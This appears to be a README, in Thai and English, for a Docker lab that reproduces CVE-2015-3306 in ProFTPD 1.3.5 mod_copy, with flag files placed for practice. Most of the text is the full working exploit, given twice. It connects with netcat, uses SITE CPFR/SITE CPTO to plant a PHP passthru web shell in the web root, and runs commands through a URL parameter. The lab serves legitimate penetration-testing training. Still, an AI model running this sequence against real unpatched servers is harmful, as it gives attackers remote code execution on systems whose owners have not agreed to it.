netw0rk7/cve-2015-3306-home-labCVE-2015-3306 - ProFTPD - RCE Home Lab setup (Docker) easy to use for Red Teaming or Penetration Testing
Lab นี้ถูกออกแบบเพื่อจำลองช่องโหว่ CVE-2015-3306 — ProFTPD mod_copy Remote File Copy to RCE
ใช้สำหรับเรียนรู้ Web Shell Injection RCE ผ่านโมดูล mod_copy ของ ProFTPD
mod_copy เต็มรูปแบบ (SITE CPFR / SITE CPTO)/var/www/htmlflag_RANDOM.txt อัตโนมัติทุกครั้งที่ container start/etc/proftpd/proftpd.conf
/usr/local/proftpd/
/var/www/html/
/tmp/flag_xxx.txt
/entrypoint.sh
docker build -t sentinel7-proftpd-lab .
docker run -it --rm -p 21:21 -p 80:80 sentinel7-proftpd-lab
nc <IP> 21
SITE CPFR /proc/self/cmdline
SITE CPTO /tmp/<?php echo passthru($_GET['cmd']); ?>
SITE CPFR /tmp/<?php echo passthru($_GET['cmd']); ?>
SITE CPTO /var/www/html/webshell.php
เปิดผ่านเว็บ:
http://<IP>/webshell.php?cmd=<command>
เก็บไว้ใน:
/tmp/flag_RANDOM.txt
This lab simulates CVE-2015-3306 using ProFTPD 1.3.5 with mod_copy, allowing attackers to perform ProFTPD mod_copy Remote File Copy to RCE.
mod_copy enabled (SITE CPFR + SITE CPTO)flag_RANDOM.txt at container startnc <IP> 21
SITE CPFR /proc/self/cmdline
SITE CPTO /tmp/<?php echo passthru($_GET['cmd']); ?>
SITE CPFR /tmp/<?php echo passthru($_GET['cmd']); ?>
SITE CPTO /var/www/html/webshell.php
Then execute:
http://<IP>/webshell.php?cmd=<command>
/tmp/flag_RANDOM.txt
For educational and authorized penetration testing only.